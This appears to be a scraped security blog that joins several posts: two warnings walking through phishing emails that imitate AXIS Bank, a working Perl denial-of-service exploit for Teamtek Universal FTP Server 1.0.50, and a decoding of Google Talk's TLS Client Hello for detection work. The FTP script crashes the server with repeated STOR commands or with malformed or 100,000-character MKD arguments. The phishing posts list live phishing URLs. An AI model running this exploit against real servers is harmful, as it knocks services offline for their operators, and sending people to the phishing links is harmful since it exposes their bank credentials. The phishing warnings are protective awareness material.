AXIS Bank Phishing2...Be Careful !

Don't be surprised if you get a mail from AXIS bank (infact not from AXIS bank but from malicious user) saying "MPORTANT NOTICE: Update Your Axis Bank Ltd® Net Banking Details" (this is the subject). Notice the missing "I" for word IMPORTANT in the subject. Most people might end up reading reading "MPORTANT" as "IMPORTANT".
The mail looks like
Clicking "Update Your NetBanking Account" will redirect us to
http://axisaccountsummary.t35.com/axisbank.co.in/RetailSignOn.htm
which looks like

Write anything in "Login ID" and "Password" text boxes and Click "Submit" tab without selecting the radio buttons, this will redirect us to
http://axisaccountsummary.t35.com/axisbank.co.in/authenticate.php
The authenticate.php page looks like

On this page we find "Download","Click Here" hyperlinks, on clicking them will redirect to
https://www.axisbank.co.in/BankAway/(b5zbwu55bnaszw55d2iyuz55)/web/L001/retail/jsp/user/%5Cdownload%5Ciconnectform.pdf
https://www.axisbank.co.in/BankAway/(b5zbwu55bnaszw55d2iyuz55)/web/L001/retail/jsp/user/%5Cdownload%5Cicoftfform.pdf
respectively. Above URL's which point to the real website are using HTTPS request to get the resource and we can see the Phishing filter(Lock symbol) on down left but we get "The page cannot be found" error while downloading the PDF's.
Enter any arbitrary data into "ATM Card No.", "ATM Pin No.","Transaction Password" and click "Continue" tab which will redirect to
http://christkingdomorphanage.org/idbi2/accountsummary.php

I browsed to the Contact Us page (http://www.christkingdomorphanage.org/contactus.php) where the address is mentioned as
CHRIST KINGDOM ORPHANAGE HOME
UMUEZEALAKPA ALAENYI
OGWA, MBAITOLI LGA,
IMO STATE, NIGERIA
p: (+234) 8033738658
e: http://www.christkingdomorphanage.org/info@christkingdomorphanage.org
w: http://www.christkingdomorphanage.org/

Well, this might be the phishing mail originating from Nigeria, most probably.

Safe Surfing...Enjoy!!!

Teamtek Universal FTP Server 1.0.50 DoS (daemon crash/ hang)

This is a working exploit for an old Vulnerability which was updated recently.

############################################################
#
# Teamtek Universal FTP Server 1.0.50 allows remote attackers to cause a denial of service (daemon crash or hang) via (1)
# multiple STOR (aka PUT) commands, or an MKD command followed by (2) a '*' argument, (3) a '|' argument,
# (4) spaces, or (5) a long string. NOTE: the provenance of this information is unknown; the details are obtained solely
# from third party information.
#
# References:
# http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7235
# http://www.securityfocus.com/bid/21085
#
# Tested on Windows XP SP1 with
# Universal FTP Server 1.0.44

# Banner: UNIVERSAL FTP SERVER - by Daniele Pratelli - www.teamtek.net - www.5e5.net

# With "mkdir |" command application crashes with "Run-time error '52:' Bad file name or number"
# With "mkdir *" command application crashes with "Run-time error '76:' Path not found"
#
# To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"

# (say #!C:/Perl/bin/perl -w)

# This was strictly written for educational purpose. Use it at your own risk.
# Author will not bare any responsibility for any damages watsoever.
# Author: Praveen Darhanam
# Email: praveen[underscore]recker[at]sify.com

# Blog: http://darshanams.blogspot.com

# Date: 20th December, 2008

##########################################################
use Net::FTP;

$ftp_dos_mkd=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: ]#perl script_name

vuln_target_ip r Host\n";
$ftp_dos_mkd -> login("anonymous","anonymous") || die "Could not Login...Retry";
print "Enter 1 to launch FTP DoS using using multiple STOR/PUT commands\n";

print "Enter 2 to launch FTP DoS using directory name as * with MKD command\n";
print "Enter 3 to launch FTP DoS using directory name as | with MKD command\n";

print "Enter 4 to launch FTP DoS using MKD command followed by spaces\n";
print "Enter 5 to launch FTP DoS using MKD command followed by long string\n";

$special_char=;
chomp($special_char);

if($special_char==1)
{
while(1)
{
$ftp_dos_mkd -> stor("abc.txt");
}
}
elsif($special_char==2)
{
$ftp_dos_mkd -> mkdir("*");
}
elsif($special_char==3)
{
$ftp_dos_mkd -> mkdir("|");
}
elsif($special_char==4)
{
my $buf1 = "\x20" x 100000;
$ftp_dos_mkd -> mkdir("$buf1");
}
elsif($special_char==5)
{
my $buf2 = "D" x 100000;
$ftp_dos_mkd -> mkdir("$buf2");
}
else
{
printf "Please enter correct number to launch exploit !!";
}
$ftp_dos_mkd->quit;

AXIS Bank Phishing1...Be Careful !

I has been seeing these mails from long time. I never used to open such mails, instead delete the mails. This time thought of writing about the issue. Got a mail from "AXIS Bank" (fake) with Subject "AXIS Bank Security Service Notification (IMPORTANT)". When opened, the mail looks like

We can find the following URL in the mail

h ttps://www.axisbank.com/security/New 2FA Token=a cct

When we hover mouse over the URL we can see http://eyering.com/interaction/cache/update/axis.php

link below the page.

The page below is original AXIS BANK's login page

When we click the link in the mail it will redirect us to the URL http://iamthecompetition.com/subscription/axisbank.co.in/RetailSignOn.htm

and the page looks like

This is the phishing page used by attackers to collect user names and passwords.

If you click "Submit" tab below radio button's it'll reidrect to other page which asks for ATM Pin !!

Safe Surfing...Enjoy!!!

Deciphering Google Talk's Jabber Communication

Google Talk communicates through HTTPS (TCP Port 443) and Jabber (TCP Port 5222) Protocols. Google talk initially communicates through HTTPS and switches to Jabber. When 5222 is blocked using firewall Google Talk works on port 443 (HTTPS). Suppose HTTPS, port 443 is blocked and port 5222 is allowed in this case Google Talk doesn't work.

When the communication is through TCP Port 5222 for Google Talk we can see Octal (OCT) pattern in the pay load. We can see Description and Hex pattern in the payload of HTTPS communication.

Below payload is seen in “Client Hello” packet which is sent after three way handshake on port 443 and three way handshake on port 5222 if both the ports are allowed. This is the mapping between Octal and Hex Patterns.

Oct/Jabber Hex/HTTPS Description
--------------- --------------- -------------------------------------
\200L 804c Length: 76
\001 01 Handshake Message Type: Client Hello (1)
\003\001 0301 Version: TLS 1.0 (0x0301)
\0003 0033 Cipher Spec Length: 51
\000\000 0000 Session ID Length: 0
\000\020 0010 Challenge Length: 16
\000\000\004 000004 Cipher Specs: TLS_RSA_WITH_RC4_128_MD5 (0x000004)
\000\000\005 000005 Cipher Specs: TLS_RSA_WITH_RC4_128_SHA (0x000005)
\000\000\n 00000a Cipher Specs: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x00000a)
\001\000\200 010080 Cipher Specs: SSL2_RC4_128_WITH_MD5 (0x010080)
\a\000\300 0700c0 Cipher Specs: SSL2_ DES_192_ EDE3_CBC_WITH_MD5 (0x0700c0)
\003\000\200 030080 Cipher Specs: SSL2_RC2_CBC_128_CBC_WITH _MD5 (0x030080)
\000\000\t 000009 Cipher Specs: TLS_RSA_WITH_DES_CBC_SHA (0x000009)
\006\000@ 060040 Cipher Specs: SSL2_DES_64_CBC_WITH _MD5 (0x060040)
\000\000d 000064 Cipher Specs: TLS_RSA_WITH_RC4_128_MD5 (0x000064)
\000\000b 000062 Cipher Specs: TLS_RSA_ EXPORT1024_WITH_DES_CBC_SHA (0x000062)
\000\000\003 000003 Cipher Specs: TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x000003)
\000\000\006 000006 Cipher Specs: TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x000006)
\002\000\200 020080 Cipher Specs: SSL2_RC4_128_ EXPORT40_WITH_MD5 (0x020080)
\004\000\200 040080 Cipher Specs: SSL2_RC2_CBC_128_CBC_WITH_MD5 (0x040080)
\000\000\023 000013 Cipher Specs: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x000013)
\000\000\022 000012 Cipher Specs: TLS_DHE_DSS_WITH_DES_CBC_SHA (0x000012)
\000\000c 000063 Cipher Specs: TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA (0x000063)
e72b7909ff36880aa266262537c83988 Challenge

Google Talk communication through gmail uses "User Agent: Google Talk\r\n" which can be seen through Ethereal/Wireshark capture.

For Bittorrent detection signatures
http://darshanams.blogspot.in/2012/07/bittorrent-useragents-and-detection.html 

For Zebra protocol
http://darshanams.blogspot.in/2009/03/i-was-just-checking-my-mails.html